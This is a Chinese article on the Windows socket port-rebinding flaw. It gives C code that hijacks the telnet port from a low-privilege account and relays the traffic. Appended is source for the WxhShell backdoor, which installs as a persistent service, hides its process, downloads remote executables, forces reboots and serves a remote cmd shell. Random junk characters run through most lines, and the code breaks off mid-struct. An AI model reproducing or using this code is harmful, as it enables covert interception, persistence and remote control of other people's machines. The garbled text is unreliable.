在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&
@_PY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-k2|`t _ 8:*ZuR|~ saddr.sin_family = AF_INET;
7h41 E# 9B83HV4J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(JjxrZ+L #D?w,<_8, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:9x]5;ma aTvLQ@MQ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}y J,&N'p SdMLO6- 这意味着什么?意味着可以进行如下的攻击:
M$>Nd6,@N g3Hi5[-H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
hcYqiM@8> vflC{,{=k> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*}Z >dw
0@T&p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=`N 0 ;Oq>c=9% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0jxXUWO q;f L@L@- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~q/~ u -?{g{6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0Ny +NE:6M 4OO^%`=)M' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'Ce?!UO Zn Rj}y #include
z.2UZ%: #include
M)wNu #include
I4UsDs*BD #include
9U3 }_ DWORD WINAPI ClientThread(LPVOID lpParam);
O ]-8 % int main()
10r!p:D {
*r9D+}Y(4 WORD wVersionRequested;
4&e<Sc64 DWORD ret;
a%6=sqxE WSADATA wsaData;
<Zfh5AM BOOL val;
>lek@euqw SOCKADDR_IN saddr;
BV/ ^S.~ SOCKADDR_IN scaddr;
MAX?,-x int err;
1E4`&? SOCKET s;
TC=>De2; SOCKET sc;
[x`),3qD int caddsize;
_pvt,pW HANDLE mt;
]ERAt^$0 DWORD tid;
qAlX#] wVersionRequested = MAKEWORD( 2, 2 );
P9S)7&+DL err = WSAStartup( wVersionRequested, &wsaData );
gdyWuOxa| if ( err != 0 ) {
5*90t{# printf("error!WSAStartup failed!\n");
W&I:z-VH return -1;
QMX }
]1h9:PF saddr.sin_family = AF_INET;
j9/iBK\Y d5{RIM| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}#=t%uZ/ @cx#' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Y$|KY/)H) saddr.sin_port = htons(23);
5RY-.c4} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c0X1})q$ {
F`Z?$ 1 printf("error!socket failed!\n");
20Jlf?
return -1;
+OSSgY$ }
"s`#`' val = TRUE;
mr]~(]B?r //SO_REUSEADDR选项就是可以实现端口重绑定的
K,P`V
&m? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5~#oQ& {
EVLDP\w{ printf("error!setsockopt failed!\n");
J~
*>pp#U return -1;
N];K }
0/%RrE //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*W 04$N //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
FysIN~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Qdc)S>gp <<@F{B7h if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7kMO);pO {
<0Gk:NB, ret=GetLastError();
0juP"v$C> printf("error!bind failed!\n");
Udjn.D return -1;
3?!c<^"e }
/}eb1o listen(s,2);
jF#Dc[* while(1)
3_{rXtT)' {
"412w^5[T caddsize = sizeof(scaddr);
mMCd //接受连接请求
4:s,e<Tc4v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
N6*FlG- if(sc!=INVALID_SOCKET)
VY=YI}E {
25W #mh,' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
DW)81*~g if(mt==NULL)
]x'd0GH"] {
>LVGNicQ printf("Thread Creat Failed!\n");
_ZK*p+u% break;
p@@*F+ }
D|vck1C5, }
|`AJP CloseHandle(mt);
G//hZwf0 }
%T}*DC$&S closesocket(s);
Juk'eH2^s WSACleanup();
nHLMF7\ return 0;
sP>-k7K. }
emT/H95|, DWORD WINAPI ClientThread(LPVOID lpParam)
rWN%j)#+ {
owA.P-4 SOCKET ss = (SOCKET)lpParam;
q5)
K SOCKET sc;
A5s;<d0 unsigned char buf[4096];
iBY16_q SOCKADDR_IN saddr;
2=VFUR 8 long num;
;2aPhA DWORD val;
u!FF{~5cs DWORD ret;
8 9maN //如果是隐藏端口应用的话,可以在此处加一些判断
-^< t%{d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9?sm-qP saddr.sin_family = AF_INET;
zXIdup@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
X#fjIrn saddr.sin_port = htons(23);
}E&: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mPo.Z"uy7 {
jq_ i&~S printf("error!socket failed!\n");
?YF2Uc8z%2 return -1;
g$JlpD& }
Ir Y\Q) val = 100;
$qR@;= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\9R=fA1 8 {
}V 4u`= ret = GetLastError();
UC.kI&A return -1;
G#1W":|` }
KppYe9? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p&
Kfy~ {
A~<cp)E ret = GetLastError();
^W~8)Rbf return -1;
_Ec"[xW }
mH)8A+us if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
({cWb:+r {
m!3D5z]n9 printf("error!socket connect failed!\n");
3XDuo|( closesocket(sc);
Fx:4d$>; closesocket(ss);
u>*qDr*d return -1;
2dDhO }
(g1Op~EM while(1)
UQbk%K2 {
>1` '5A}s //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|*l^<= = //如果是嗅探内容的话,可以再此处进行内容分析和记录
dt/-0~U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=o'g5Be<F num = recv(ss,buf,4096,0);
BQ B<+o' if(num>0)
LyG`q3@ send(sc,buf,num,0);
U6YHq2< else if(num==0)
}%D${.R] break;
8TTj<T!N num = recv(sc,buf,4096,0);
|+qsO; if(num>0)
3r[s_Y* send(ss,buf,num,0);
/L./-92NH4 else if(num==0)
J'yCVb)V break;
v4Kf{9q# }
9~y:K$NO closesocket(ss);
3Z7gPU!H= closesocket(sc);
UUF]45t> return 0 ;
N:%Nq8I}: }
CY$
1;/ 5f2=`C0_ 'lOQb) ==========================================================
cg9*+]rc f+\ UVq? 下边附上一个代码,,WXhSHELL
+{#Z^y6& G2b"R{i/, ==========================================================
xc7Rrh]} \S{ihS@J #include "stdafx.h"
n(CM)(ozU +RnWeBXAT #include <stdio.h>
FtlJ3fB@ #include <string.h>
,$RXN8x1 #include <windows.h>
c{ qTVi5e #include <winsock2.h>
+fq\K] #include <winsvc.h>
md|I?vk #include <urlmon.h>
]Rxrt~ ZB p\Iy)Y2Lf! #pragma comment (lib, "Ws2_32.lib")
D%6}x^`Qk #pragma comment (lib, "urlmon.lib")
c5pK%I }O ezri9\Ju #define MAX_USER 100 // 最大客户端连接数
'{cFr #define BUF_SOCK 200 // sock buffer
vFeR)Ox's #define KEY_BUFF 255 // 输入 buffer
LLoV]~dvUu ~RZN+N #define REBOOT 0 // 重启
%/ :&L+q #define SHUTDOWN 1 // 关机
v?n# C Y@qugQM> #define DEF_PORT 5000 // 监听端口
7Q,<h8N\5 w7 \vrS>& #define REG_LEN 16 // 注册表键长度
;ZkY[5 #define SVC_LEN 80 // NT服务名长度
k0TQFx.A -iFFXESVX // 从dll定义API
dF|R`Pa2ML typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ZVit]3hd typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
u=E &jL5U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
U.ZA%De typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#jO2Zu2`} v
"[<pFj^ // wxhshell配置信息
\Rha7O struct WSCFG {
K9K.mGYc int ws_port; // 监听端口
G=C2l#
Ae! char ws_passstr[REG_LEN]; // 口令
u;b 6uE int ws_autoins; // 安装标记, 1=yes 0=no
#G\-ftA & char ws_regname[REG_LEN]; // 注册表键名
hqwsgJ
char ws_svcname[REG_LEN]; // 服务名
T8x /&g'' char ws_svcdisp[SVC_LEN]; // 服务显示名
D7c+/H@PF char ws_svcdesc[SVC_LEN]; // 服务描述信息
)0Vj\> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F>E_d<m int ws_downexe; // 下载执行标记, 1=yes 0=no
vq@"y%C4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}"q#"s char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-W:@3\{ W&m3"~BJ };
@9k3}x K ;#*.@Or@Ah // default Wxhshell configuration
)5Cqyp~P struct WSCFG wscfg={DEF_PORT,
`];ne]xM "xuhuanlingzhe",
8-smL^~%# 1,
s"8z q;) "Wxhshell",
715J1~aRNr "Wxhshell",
-vt6n1A&b "WxhShell Service",
v~p?YYOm< "Wrsky Windows CmdShell Service",
R80|q#h,] "Please Input Your Password: ",
r 2{7h> 1,
B E#pHg "
http://www.wrsky.com/wxhshell.exe",
:MH=6 "Wxhshell.exe"
SO~pe$c- };
Q1H.2JXr 9mpQusM // 消息定义模块
P+3
]g{2w char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<FN+
char *msg_ws_prompt="\n\r? for help\n\r#>";
Q0Gfwl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+^$;oG char *msg_ws_ext="\n\rExit.";
48!F!v,j)x char *msg_ws_end="\n\rQuit.";
jank<Q&w char *msg_ws_boot="\n\rReboot...";
`"$9L[> char *msg_ws_poff="\n\rShutdown...";
:rvBx" char *msg_ws_down="\n\rSave to ";
LD ,T$" 0+A#k7c6p char *msg_ws_err="\n\rErr!";
}5X.*wz char *msg_ws_ok="\n\rOK!";
0bGQO&s
[ 9Lqz:4} char ExeFile[MAX_PATH];
uYd_5
nw int nUser = 0;
;[|+tO_ HANDLE handles[MAX_USER];
yT(86#st int OsIsNt;
&(20*Vn,O O:dUzZR[' SERVICE_STATUS serviceStatus;
zK*i:(>B SERVICE_STATUS_HANDLE hServiceStatusHandle;
*mN8Qd mn\GLR. // 函数声明
HZ\=NDz int Install(void);
nYK!'x$ int Uninstall(void);
I#zL-RXT int DownloadFile(char *sURL, SOCKET wsh);
li~=85 J int Boot(int flag);
EhN@;D+ void HideProc(void);
N/E=-&E8 int GetOsVer(void);
w/7vXz< int Wxhshell(SOCKET wsl);
JJP!9< void TalkWithClient(void *cs);
zG&yu0;D6 int CmdShell(SOCKET sock);
McvLU+ int StartFromService(void);
6%T_;"hb int StartWxhshell(LPSTR lpCmdLine);
QmsS,Zljo dp:5iuS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9O:-q[K** VOID WINAPI NTServiceHandler( DWORD fdwControl );
LM".]f!, D\sh
+}" // 数据结构和表定义
Z0Qh7xWve SERVICE_TABLE_ENTRY DispatchTable[] =
`P;uPQDzZ3 {
~@iYP/=/Q {wscfg.ws_svcname, NTServiceMain},
{d,^tG} {NULL, NULL}
"6iq_!#L };
v/3Vsd w)gMJX/0yw // 自我安装
B 5va4@ int Install(void)
Ly6) ,[q~ {
0O?!fd n char svExeFile[MAX_PATH];
bj 0-72V HKEY key;
f<@`{oP@ strcpy(svExeFile,ExeFile);
$`/F5R! jt&rOPL7 // 如果是win9x系统,修改注册表设为自启动
4eS(dPI0 if(!OsIsNt) {
L4Si0 K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|C\XU5} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
QWK\6 RegCloseKey(key);
$60]RCu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L$f:D2Ei RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rE.z.r"O RegCloseKey(key);
cX48?srG return 0;
Z`@< O% }
Pv3 e*I(( }
[2zS@p }
yrR,7vJ else {
+RD{<~i /909ED+)>9 // 如果是NT以上系统,安装为系统服务
P Z+Rz1x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
G~Fjla\?Q if (schSCManager!=0)
@X#e {
OlYCw.Zu SC_HANDLE schService = CreateService
0S>U_#- (
X!0m, schSCManager,
{hKf
'd9E wscfg.ws_svcname,
ldWr- wscfg.ws_svcdisp,
.^uYr^(|[ SERVICE_ALL_ACCESS,
xA"7a SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^g
n7DiIPH SERVICE_AUTO_START,
K]Q1VfeL= SERVICE_ERROR_NORMAL,
eHI7= [h svExeFile,
Jgf=yri NULL,
}m-+EUEo9 NULL,
)Ft>X9$ NULL,
d##'0yg NULL,
62J-)~_ NULL
BO-=X
78f@ );
^2!l/(? if (schService!=0)
l":Z. J {
;S^7Q5- CloseServiceHandle(schService);
pkEqd"G CloseServiceHandle(schSCManager);
&V7{J9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/ 9soUt strcat(svExeFile,wscfg.ws_svcname);
_cXLQ)- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2sXX0kq~V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`n~bDG> RegCloseKey(key);
ngQ] return 0;
!4!Y~7sI"\ }
O8WLulo }
nHmi%R7k CloseServiceHandle(schSCManager);
RU GhhK }
Ptv=Bwg }
28PT19& t0gLz
J return 1;
k/}E(_e }
POc-`]6<F Q:!.YSB // 自我卸载
M}tr*L int Uninstall(void)
hKYA 5] {
JGKiVBN HKEY key;
IH0qx_;P& )]C7+{ImC if(!OsIsNt) {
I:%O`F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z,m;eCLG] RegDeleteValue(key,wscfg.ws_regname);
M `bEnu RegCloseKey(key);
l*C(FPw4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^ G(GjW8 RegDeleteValue(key,wscfg.ws_regname);
fu?Y'Qet RegCloseKey(key);
Z'L}x6 return 0;
9hIcnPu }
_,;|, }
QC*>
qo }
q!+m,
!M else {
rZv5>aEI cA{zyq26 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
L|[0&u! if (schSCManager!=0)
Gdf*x<T1 {
%rZJ#p[e)= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
l~V^ if (schService!=0)
|0$wRl+kN {
}^
j"@{~ if(DeleteService(schService)!=0) {
rwUKg[
1N CloseServiceHandle(schService);
2,O;<9au< CloseServiceHandle(schSCManager);
Lg[_9`\ return 0;
h tn?iLq }
Dk XB CloseServiceHandle(schService);
a,sU-w!X' }
LE:nmo CloseServiceHandle(schSCManager);
.oFkx*Ln }
@<
@\CiM }
^q0Ox&X $pm5G} . return 1;
Z@I.socA }
k6vY/)-S v&GBu // 从指定url下载文件
r!vSYgee int DownloadFile(char *sURL, SOCKET wsh)
`kdP)lI
` {
3tlA!e HRESULT hr;
."m2/Ks7 char seps[]= "/";
hDJ84$eVZ char *token;
E%vG# char *file;
<|'C|J_! char myURL[MAX_PATH];
cR+9^DzA char myFILE[MAX_PATH];
b^Xq(q>5 CYZx/r< strcpy(myURL,sURL);
?=;dNS@i@ token=strtok(myURL,seps);
OJL?[<I while(token!=NULL)
/M;A)z {
MR@*09zP(? file=token;
OBCRZ token=strtok(NULL,seps);
4M&6q(389 }
M"eiKX ytX XZ` GetCurrentDirectory(MAX_PATH,myFILE);
4EiEE{9V strcat(myFILE, "\\");
N| dwuBW strcat(myFILE, file);
BEkxH. send(wsh,myFILE,strlen(myFILE),0);
]_yk,}88d send(wsh,"...",3,0);
`4'['x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[D=3:B&f if(hr==S_OK)
)o<rU[oD]C return 0;
:N<ZO`l? else
7Xu.z9y return 1;
)r#^{{6[v r1= :B'z }
~97T0{E3 T
_O|gU // 系统电源模块
4$oX,Q`# int Boot(int flag)
8%s_~Yc {
A3C#wJ HANDLE hToken;
n
4:Yc@, TOKEN_PRIVILEGES tkp;
Wv]NFHe# IG1+_-H: if(OsIsNt) {
!`yg bI. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3rEBG0cf] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ugtb`d{ Sl tkp.PrivilegeCount = 1;
)/u?_)b4" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_-^Lr
/`G! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$~<);dYu0 if(flag==REBOOT) {
at@B>Rb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
1YmB2h[Z return 0;
0^Vc,\P? }
rkdwGqG else {
LO,G2] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LB|FVNW/S return 0;
p-H q\DP }
h[SuuW }
XAV|xlfm else {
$:R"IqDG if(flag==REBOOT) {
\Ze"Hv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`Tx1?] return 0;
:bxq%D%|o }
LY%`O#i. else {
Cebl"3Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-t, .A/? return 0;
o:<gJzg }
,[rh7_ }
`CP}1W> z}vgp\cuT return 1;
CY&Z*JI"'B }
P%8zxU; %,-oxeM1u // win9x进程隐藏模块
^w eU\ void HideProc(void)
@tvAI2W {
]g
jhrD )vB,eZq HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}|
BnG"8 if ( hKernel != NULL )
xeqAFq=9? {
rAK}rNxI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5Uc!;Gd?b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
rULrGoM FreeLibrary(hKernel);
>qj Q;z[ }
ULq#2l d>z?JDt return;
=6Dz<Lq }
\Lxsg!wtJ Y]ML-smN // 获取操作系统版本
:zk69P3 int GetOsVer(void)
s)dN.'5/ {
Aen)r@Y: OSVERSIONINFO winfo;
u:r'jb~@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1=x4m=wV GetVersionEx(&winfo);
iq> PN:mr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?:(BkY,K5 return 1;
PSX-b)wb else
eJ+V!K'H2 return 0;
3+gp_7L }
X8uVet]D~ x4jn45]x@ // 客户端句柄模块
#F\}PCBe' int Wxhshell(SOCKET wsl)
5`oVyxJ< {
}R#YO$J7 SOCKET wsh;
a $pxt!6 struct sockaddr_in client;
<4,n6$E DWORD myID;
>r] bfN, JTw\5j while(nUser<MAX_USER)
|tC`rzo {
_{ z.Tu int nSize=sizeof(client);
)BR6?C3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=p 9d4smbn if(wsh==INVALID_SOCKET) return 1;
xy>~1 5 Zvd^<SP<? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;0Yeo"- if(handles[nUser]==0)
5I,5da closesocket(wsh);
Np>[mNmga else
RkVU^N" nUser++;
dALJlRo" }
$gm`}3C< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%zx=rn(K &?\ h[3 return 0;
LJK<Xen }
ngM>Tzirt W)I)QinOH // 关闭 socket
x/Pi#X m void CloseIt(SOCKET wsh)
1df}gG {
+$Q33@F5l closesocket(wsh);
E5.3wOE nUser--;
LyM" ExitThread(0);
hC@oyC(4 }
L
M tmF->~| // 客户端请求句柄
F%!ZHE7 void TalkWithClient(void *cs)
,>X
+tEgR {
#gbJ$1s ` z<k7ig SOCKET wsh=(SOCKET)cs;
qiQS:0|_ char pwd[SVC_LEN];
qSh^|;2?R char cmd[KEY_BUFF];
+qsNz*@p" char chr[1];
]r;-Lx{F int i,j;
Gj]*_"T z-*/jFE while (nUser < MAX_USER) {
.Cfi/ n:cre}0. if(wscfg.ws_passstr) {
SXn\k;F< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@l~zn%!X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|) {)w` //ZeroMemory(pwd,KEY_BUFF);
s u]x i=0;
J1kG'cH05 while(i<SVC_LEN) {
)8Defuxk @Y":DHF5q // 设置超时
Y>*{(QD fd_set FdRead;
?5d7J,"<h struct timeval TimeOut;
IHCEuK FD_ZERO(&FdRead);
t><AaYij_ FD_SET(wsh,&FdRead);
Wh4`Iv\. TimeOut.tv_sec=8;
U5 ~L^ TimeOut.tv_usec=0;
AW;"` ]. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}r:H7&|& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
EAYx+zI j#e^PK < if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
I_s4Pf[l pwd
=chr[0]; x}I'W?g
if(chr[0]==0xd || chr[0]==0xa) { ||TKo967]
pwd=0; Z'EXq.hk
break; d6ZJh xJ
} iXpLcHi
i++; \Ub=Wm\
} 4%do.D*
Y@'ug N|[C
// 如果是非法用户,关闭 socket l
:\DC
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
lIHSy
} R1Jj 3k
)*_4=-8H
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CCp&P5[67
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m{itMZ@
HhkubG)\
while(1) { 3#7D
g't
6A$
\I44
ZeroMemory(cmd,KEY_BUFF); _l}"gUti w
5yO%| )
// 自动支持客户端 telnet标准 u`Kjs}F'
j=0; _:|/4.]`_
while(j<KEY_BUFF) { \Q[u ?/TF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n DLr17
cmd[j]=chr[0]; zx
if(chr[0]==0xa || chr[0]==0xd) { 03aa>IO
cmd[j]=0; 4#H~g
@
break; n JH+P!AC
} s UX%{|T_
j++; oW]~\vp^0
} ?rqU&my S
V6%J9+DK
// 下载文件 &y-(UOqbkP
if(strstr(cmd,"http://")) { Q)oO*CnM!-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tm27J8wPzV
if(DownloadFile(cmd,wsh)) NbyVBl0=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cY1d6P0
else *3_@#Uu7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z6G>j
} "_Wv,CYmNr
else { =lIG#{`Q
r@;n \
switch(cmd[0]) { C^vB&3ghi
fbaQXM
// 帮助 9Tbi_6[
case '?': { F)x^AJie
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <0!/7*;#ZT
break; ]<\FtH
} 8:V:^`KaSs
// 安装 >gNVL
(
case 'i': { Ik_u34U
if(Install()) 8RC7Ei
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rOC2 S(m
else d\Q~L 3x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zi$v- b*<
break; 0zR4Kj7EE
} EN^C'n
// 卸载 uH'n.d"WG
case 'r': { 6J3:[7k=&
if(Uninstall()) *T(z4RVg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g~EJja;
else FSnF>3kj-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZkAlg7Z
break; lFMQT
;
} @SA:64
9
// 显示 wxhshell 所在路径 "/v{B?~%!
case 'p': { w#EP`aM2$=
char svExeFile[MAX_PATH]; |y+<|fb,a
strcpy(svExeFile,"\n\r"); 'urn5[i
strcat(svExeFile,ExeFile); Jr/|nhGl5
send(wsh,svExeFile,strlen(svExeFile),0); 4N&4TUIM
break; te
e
} Ys8p,.OMs
// 重启 z:C
VzK,
case 'b': { u_+64c_7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Lyjt$i W%
if(Boot(REBOOT)) /(#;(]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gWcl@|I;\
else { yEm[C(gZ
closesocket(wsh); qi!Nv$e
ExitThread(0); [o]^\ay
} *m_B#~4
break; h`X>b/V
} ;{xk[fm=
// 关机 N;4tvWI
case 'd': { k)+2+hX&>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q$>/~aVM
if(Boot(SHUTDOWN)) sB|>\O#-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rVU::C+-
else { wBr$3:
closesocket(wsh); iC]=S}
ExitThread(0); FGzMbi<l#(
} BJzNh>-#=
break; e))fbv&V
} 3K
Y-+ k
// 获取shell .<Y7,9;YEF
case 's': { .qBL.b_`
CmdShell(wsh); E .2b@
closesocket(wsh); /:-8 ,`
ExitThread(0); H=2sT +Sp
break; * !4r}h`
} ? OrRTRW
// 退出 zd1X(e<|{
case 'x': { "YY6_qQR'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5r#0/1ym!
CloseIt(wsh); EA@p]+P
break; 7GN>o@ t
} 5#Z> }@/
// 离开 QIZ }7
case 'q': { Gn}G$uk61
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <pAN{:
closesocket(wsh); tYE\tbCO'
WSACleanup(); >f7;45i
exit(1); Kh{C$b
break; S!*wK-
} M<'AM4
} fB~BVYi
} +6cOL48"
ZH]n&%@j
// 提示信息 4`(b(DL]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n}NO"eF>-s
} FjUf|
} 4.?tP7UE
N7/eF9
return; 1A>>#M=A
} Y",
:u@R
E+>$@STv#
// shell模块句柄 ;MD6iBD
int CmdShell(SOCKET sock) GEJEhwO;H
{ eBw6k09C+
STARTUPINFO si;
9
gt$z}oU
ZeroMemory(&si,sizeof(si)); ][Ne;F6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lFHj]%Y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {rp5qgVE<
PROCESS_INFORMATION ProcessInfo; :el]IH
char cmdline[]="cmd";
{*EA5;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #
tN#_<W
return 0; Q>`|{m
} 8t{-
6pyLb3[e
// 自身启动模式 Q};g~b3
int StartFromService(void) u;{,,ct
{ .<GU2&;!
typedef struct ,yZvT7
{ xx^7
DWORD ExitStatus; ZM:!LkK
DWORD PebBaseAddress; 37:\X5)z/
DWORD AffinityMask; "?_r?~sJx
